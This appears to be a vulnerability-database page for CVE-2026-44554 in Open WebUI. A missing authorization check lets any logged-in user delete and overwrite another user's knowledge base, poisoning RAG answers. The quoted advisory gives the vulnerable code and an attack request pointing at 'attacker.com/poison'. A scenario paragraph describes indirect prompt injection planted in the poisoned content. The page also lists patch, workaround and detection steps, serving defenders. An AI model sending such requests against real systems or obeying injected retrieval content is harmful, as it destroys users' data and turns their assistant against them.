Open WebUI's web and YouTube retrieval endpoints accept a user-supplied knowledge base collection name without verifying ownership, allowing any authenticated user to permanently destroy and replace another user's entire RAG knowledge base with a single API call. Rated CVSS 8.1 with Low Attack Complexity and Low Privileges Required, this is trivially exploitable — the attacker needs only a valid account and the victim's KB UUID, obtainable via a companion enumeration vulnerability documented in the same advisory. While not yet in CISA KEV and no public exploit code has been published, the attack is fully described and requires zero AI/ML expertise: one HTTP POST to /api/v1/retrieval/process/web deletes the victim's vector collection and embeds attacker-controlled content that silently poisons all subsequent LLM responses, including potential indirect prompt injection payloads. Organizations running open-webui in multi-user environments should treat this as urgent: upgrade to 0.9.0 immediately or block access to /api/v1/retrieval/process/* at the API gateway until patching is complete.
What is the risk?
High risk. The combination of Low Attack Complexity, Low Privileges Required, and Network attack vector means any authenticated user in a shared deployment can exploit this without AI/ML expertise or specialized tooling. The dual Integrity:High and Availability:High impact creates a compounding threat — original embeddings are permanently deleted while adversary-controlled content silently corrupts AI outputs going forward. A companion KB enumeration vulnerability completes the attack chain, making UUID discovery trivial and removing the only practical barrier to exploitation. With 52 CVEs already attributed to this package, the security maturity of open-webui warrants elevated scrutiny for any production deployment handling sensitive organizational knowledge.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Open WebUI | pip | <= 0.8.12 | 0.9.0 |
Do you use Open WebUI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
5 steps-
Patch immediately: Upgrade to open-webui 0.9.0, which introduces collection ownership authorization checks on the retrieval endpoints.
-
Emergency workaround (if patching is delayed): Block /api/v1/retrieval/process/web and /api/v1/retrieval/process/youtube at the reverse proxy or API gateway, or restrict both endpoints to admin-role tokens only.
-
Detection: Audit vector database logs for unexpected collection deletions or overwrites; review application access logs for POST requests to /api/v1/retrieval/process/* where the collection_name does not match a KB owned by the requesting user.
-
Recovery: For any suspected compromise, rebuild affected knowledge bases from verified source documents after upgrading.
-
Long-term: Implement collection ownership verification as a defense-in-depth control and enforce least-privilege access to the vector store layer independently of the application.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-44554?
Open WebUI's web and YouTube retrieval endpoints accept a user-supplied knowledge base collection name without verifying ownership, allowing any authenticated user to permanently destroy and replace another user's entire RAG knowledge base with a single API call. Rated CVSS 8.1 with Low Attack Complexity and Low Privileges Required, this is trivially exploitable — the attacker needs only a valid account and the victim's KB UUID, obtainable via a companion enumeration vulnerability documented in the same advisory. While not yet in CISA KEV and no public exploit code has been published, the attack is fully described and requires zero AI/ML expertise: one HTTP POST to /api/v1/retrieval/process/web deletes the victim's vector collection and embeds attacker-controlled content that silently poisons all subsequent LLM responses, including potential indirect prompt injection payloads. Organizations running open-webui in multi-user environments should treat this as urgent: upgrade to 0.9.0 immediately or block access to /api/v1/retrieval/process/* at the API gateway until patching is complete.
Is CVE-2026-44554 actively exploited?
No confirmed active exploitation of CVE-2026-44554 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-44554?
1. Patch immediately: Upgrade to open-webui 0.9.0, which introduces collection ownership authorization checks on the retrieval endpoints. 2. Emergency workaround (if patching is delayed): Block /api/v1/retrieval/process/web and /api/v1/retrieval/process/youtube at the reverse proxy or API gateway, or restrict both endpoints to admin-role tokens only. 3. Detection: Audit vector database logs for unexpected collection deletions or overwrites; review application access logs for POST requests to /api/v1/retrieval/process/* where the collection_name does not match a KB owned by the requesting user. 4. Recovery: For any suspected compromise, rebuild affected knowledge bases from verified source documents after upgrading. 5. Long-term: Implement collection ownership verification as a defense-in-depth control and enforce least-privilege access to the vector store layer independently of the application.
What systems are affected by CVE-2026-44554?
This vulnerability affects the following AI/ML architecture patterns: RAG pipelines, vector databases, multi-user AI chat platforms, knowledge management systems, AI-assisted document Q&A systems.
What is the CVSS score for CVE-2026-44554?
CVE-2026-44554 has a CVSS v3.1 base score of 8.1 (HIGH). The EPSS exploitation probability is 0.29%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0012 Valid Accounts AML.T0049 Exploit Public-Facing Application AML.T0051.001 Indirect AML.T0059 Erode Dataset Integrity AML.T0064 Gather RAG-Indexed Targets AML.T0066 Retrieval Content Crafting AML.T0070 RAG Poisoning AML.T0071 False RAG Entry Injection Compliance Controls Affected
What are the technical details?
Original Advisory
# Knowledge Base Destruction and RAG Poisoning via Unauthorized Collection Overwrite ## Affected Component Retrieval web/YouTube processing endpoints: - `backend/open_webui/routers/retrieval.py` (lines 1810-1837, `process_web`) - `backend/open_webui/routers/retrieval.py` (the parallel `process_youtube` endpoint) - `backend/open_webui/routers/retrieval.py` (line 1445, `save_docs_to_vector_db` call chain) ## Affected Versions Current main branch (commit `6fdd19bf1`) and likely all versions with RAG/knowledge base functionality. ## Description The `POST /api/v1/retrieval/process/web` endpoint accepts a user-supplied `collection_name` and an `overwrite` query parameter (default: `True`). It performs no authorization check on whether the calling user owns or has write access to the target collection. When `overwrite=True`, `save_docs_to_vector_db` calls `VECTOR_DB_CLIENT.delete_collection()` on the target collection before writing new content. Combined with the knowledge base enumeration vulnerability (separate report), an attacker can trivially discover any user's knowledge base UUID and then destroy or poison it. ```python # retrieval.py:1810-1837 — no collection authorization check @router.post('/process/web') async def process_web( request: Request, form_data: ProcessUrlForm, user=Depends(get_verified_user), ... ): # ... fetch and process the URL ... save_docs_to_vector_db( request=request, docs=docs, collection_name=form_data.collection_name, # attacker-controlled, unchecked overwrite=overwrite, # defaults to True ... ) ``` ## CVSS 3.1 Breakdown | Metric | Value | Rationale | |--------|-------|-----------| | Attack Vector | Network (N) | Exploited remotely via API call | | Attack Complexity | Low (L) | Single API call with a known KB UUID | | Privileges Required | Low (L) | Requires any authenticated user account | | User Interaction | None (N) | No victim interaction required | | Scope | Unchanged (U) | Impact within the knowledge base authorization boundary | | Confidentiality | None (N) | No data disclosure from this vulnerability directly | | Integrity | High (H) | Complete replacement of victim's KB content with attacker-controlled data | | Availability | High (H) | Victim's original KB embeddings are deleted; KB effectively destroyed | ## Attack Scenario 1. Attacker discovers victim's KB UUID via the `knowledge-bases` meta-collection (separate finding) or other enumeration. 2. Attacker sends: ``` POST /api/v1/retrieval/process/web?overwrite=true { "url": "https://attacker.com/poison", "collection_name": "<victim_kb_uuid>" } ``` 3. The endpoint fetches content from the attacker's URL. 4. `save_docs_to_vector_db` deletes the entire vector collection belonging to the victim's knowledge base. 5. The attacker's fetched content is embedded and written as the new collection content. 6. Victim's RAG queries against their KB now return attacker-controlled content instead of their original documents. ## Impact - **Data destruction:** Victim's original KB embeddings are permanently deleted from the vector store - **RAG poisoning:** Attacker-controlled content replaces legitimate knowledge, causing the LLM to return misleading or malicious answers to the victim - **Indirect prompt injection:** Poisoned content can contain crafted prompts that manipulate the victim's LLM behavior when queried - **Persistence:** The poisoned content persists until the KB is rebuilt from source files ## Preconditions - Attacker must have a valid user account - Attacker must know the target collection name (KB UUID) — easily obtained via the `knowledge-bases` enumeration finding
Exploitation Scenario
An attacker with a valid account on a shared open-webui instance first queries the knowledge-bases meta-collection via the companion enumeration vulnerability to harvest KB UUIDs belonging to target users — for example, a security analyst's threat intelligence knowledge base. The attacker then hosts a public URL serving crafted content designed to manipulate LLM behavior when retrieved (an indirect prompt injection payload embedded as plausible-looking documents). A single HTTP POST to /api/v1/retrieval/process/web?overwrite=true with the victim's KB UUID and the attacker's URL triggers the endpoint: it fetches the attacker's content, calls save_docs_to_vector_db which invokes VECTOR_DB_CLIENT.delete_collection() on the victim's UUID, then writes the poisoned embeddings. The next time the victim queries their knowledge base, the RAG system retrieves attacker-controlled content — returning false threat intelligence, leaking conversation context via injected exfiltration prompts, or causing the AI assistant to take unintended actions against the victim.
Weaknesses (CWE)
CWE-862 — Missing Authorization: The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
- [Architecture and Design] Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- [Architecture and Design] Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2026-44551 9.1 open-webui: LDAP auth bypass — full account takeover
Same package: open-webui CVE-2026-45672 8.8 open-webui: code exec gate bypass via API endpoint
Same package: open-webui CVE-2026-44552 8.7 open-webui: Redis cache poisoning enables cross-instance tool hijack
Same package: open-webui CVE-2025-64495 8.7 Open WebUI: XSS-to-RCE via malicious prompt injection
Same package: open-webui CVE-2026-45315 8.7 open-webui: stored XSS → JWT theft and admin takeover
Same package: open-webui